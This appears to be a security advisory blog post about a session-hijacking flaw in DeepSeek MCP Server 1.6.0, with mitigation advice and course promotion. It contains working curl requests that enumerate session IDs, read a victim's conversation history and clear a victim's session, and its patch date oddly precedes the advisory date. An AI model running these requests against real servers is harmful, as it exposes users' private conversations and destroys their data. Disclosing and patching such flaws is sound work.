Listen to this Post
This vulnerability exists in the DeepSeek MCP Server because the `SessionStore` is process-global and accepts `session_id` values directly from the caller without validating ownership or binding the session to the originating transport connection. An unauthenticated attacker can first call the `deepseek_sessions` tool with `action = “list”` to enumerate all active session IDs currently stored in the server’s memory. Once the attacker obtains a valid victim session ID, they can invoke `deepseek_chat` with that `session_id` from a separate request or client. The `deepseek_chat` handler then loads and prepends the victim’s entire prior conversation history to the attacker’s query. The attacker can also append their own user messages and save assistant responses into that same session, effectively hijacking the conversation thread. The root cause is in session.ts, where `session-store` is a singleton map, so any caller can read, write, or clear any key if they know it. The `deepseek_sessions` endpoint also exposes all keys without restriction. This is an authorization bypass because the server does not differentiate between different HTTP clients; every connection shares the same global state. The flaw affects only HTTP transport; the STDIO transport is safe because each client gets its own process. The maintainer fixed this in version 1.7.0 by injecting a per-HTTPS session store, isolating each client’s data.
DailyCVE Form:
Platform: DeepSeek MCP Server
Version: 1.6.0
Vulnerability: Cross-Session Data Exposure
Severity: High (CVSS 7.5)
Date: 2026-08-25
Prediction: Patch expected 2026-08-24 (already available in 1.7.0)
What Undercode Say:
Analytics:
List active sessions:
curl -X POST http://localhost:3000/tools/deepseek_sessions \
-H "Content-Type: application/json" \
-d '{"action":"list"}'
Expected output reveals all session IDs:
{"sessions": ["victim-session", "attacker-session", "admin-session"]}
Reuse victim session:
curl -X POST http://localhost:3000/tools/deepseek_chat \
-H "Content-Type: application/json" \
-d '{"session_id":"victim-session","messages":[{"role":"user","content":"What is my previous question?"}]}'
This returns victim’s history plus attacker’s new message.
Exploit: (Educational Purposes!)
1. Enumerate sessions via `deepseek_sessions` list.
2. Choose target session ID from the list.
- Call `deepseek_chat` with that session ID and any message.
- The response will include prior victim messages, exposing private data.
- Attacker can continue the conversation and even clear session using `deepseek_sessions` with `action=”clear”` and
session_id="victim-session".Clear victim session (destructive) curl -X POST http://localhost:3000/tools/deepseek_sessions \ -H "Content-Type: application/json" \ -d '{"action":"clear","session_id":"victim-session"}'
Protection:
- Upgrade to version 1.7.0 or later immediately.
- If unable to upgrade, disable HTTP transport by unsetting `TRANSPORT=http` environment variable (use STDIO).
- Apply network firewall rules to restrict access to the server port to trusted IPs only.
- Monitor logs for unusual `deepseek_sessions` list requests or unexpected `session_id` values.
Impact:
- Confidentiality: Any attacker can read full conversation histories of all active users (C:H).
- Integrity: Attacker can inject arbitrary messages into another user’s session and modify conversation context (I:L).
- Availability: Attacker can delete or clear any session, causing denial of service (A:L).
- The scope remains within the application, but all tenants/users sharing the same server instance are affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
